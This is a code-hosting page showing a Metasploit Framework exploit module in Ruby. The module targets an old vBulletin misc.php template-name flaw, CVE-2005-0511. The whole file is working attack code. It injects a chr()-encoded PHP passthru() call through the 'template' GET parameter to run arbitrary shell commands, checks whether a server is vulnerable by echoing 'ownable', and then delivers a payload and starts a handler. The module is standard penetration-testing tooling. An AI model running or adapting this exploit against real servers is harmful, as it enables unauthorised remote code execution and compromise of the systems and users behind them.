PageRenderTime 44ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/unix/webapp/php_vbulletin_template.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 112 lines | 94 code | 13 blank | 5 comment | 9 complexity | 02c23caf07dbd7412a1fe15e9da2ba73 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. Rank = ExcellentRanking
  8. include Msf::Exploit::Remote::HttpClient
  9. # XXX This module needs an overhaul
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution',
  13. 'Description' => %q{
  14. This module exploits an arbitrary PHP code execution flaw in
  15. the vBulletin web forum software. This vulnerability is only
  16. present when the "Add Template Name in HTML Comments" option
  17. is enabled. All versions of vBulletin prior to 3.0.7 are
  18. affected.
  19. },
  20. 'Author' =>
  21. [
  22. 'str0ke <str0ke[at]milw0rm.com>',
  23. 'cazz'
  24. ],
  25. 'License' => BSD_LICENSE,
  26. 'References' =>
  27. [
  28. [ 'CVE', '2005-0511' ],
  29. [ 'BID', '12622' ],
  30. [ 'OSVDB', '14047' ],
  31. ],
  32. 'Privileged' => false,
  33. 'Platform' => ['unix'],
  34. 'Arch' => ARCH_CMD,
  35. 'Payload' =>
  36. {
  37. 'Space' => 512,
  38. 'DisableNops' => true,
  39. 'Keys' => ['cmd', 'cmd_bash'],
  40. },
  41. 'Targets' => [ ['Automatic', { }], ],
  42. 'DefaultTarget' => 0,
  43. 'DisclosureDate' => 'Feb 25 2005'
  44. ))
  45. register_options(
  46. [
  47. OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']),
  48. ], self.class)
  49. deregister_options(
  50. 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
  51. )
  52. end
  53. def go(command)
  54. wrapper = rand_text_alphanumeric(rand(128)+32)
  55. command = "echo #{wrapper};#{command};echo #{wrapper};"
  56. encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
  57. res = send_request_cgi({
  58. 'uri' => datastore['PATH'],
  59. 'method' => 'GET',
  60. 'vars_get' =>
  61. {
  62. 'do' => "page",
  63. 'template' => "{${passthru(#{encoded})}}"
  64. }
  65. }, 5)
  66. if (res and res.body)
  67. b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
  68. if b
  69. return b.captures[0]
  70. elsif datastore['HTTP::chunked'] == true
  71. b = /chunked Transfer-Encoding forbidden/.match(res.body)
  72. if b
  73. fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.')
  74. end
  75. end
  76. end
  77. return nil
  78. end
  79. def check
  80. response = go("echo ownable")
  81. if (!response.nil? and response =~ /ownable/sm)
  82. return Exploit::CheckCode::Vulnerable
  83. end
  84. return Exploit::CheckCode::Safe
  85. end
  86. def exploit
  87. response = go(payload.encoded)
  88. if response == nil
  89. print_error('exploit failed: no response')
  90. else
  91. if response.length == 0
  92. print_status('exploit successful')
  93. else
  94. print_status("Command returned #{response}")
  95. end
  96. handler
  97. end
  98. end
  99. end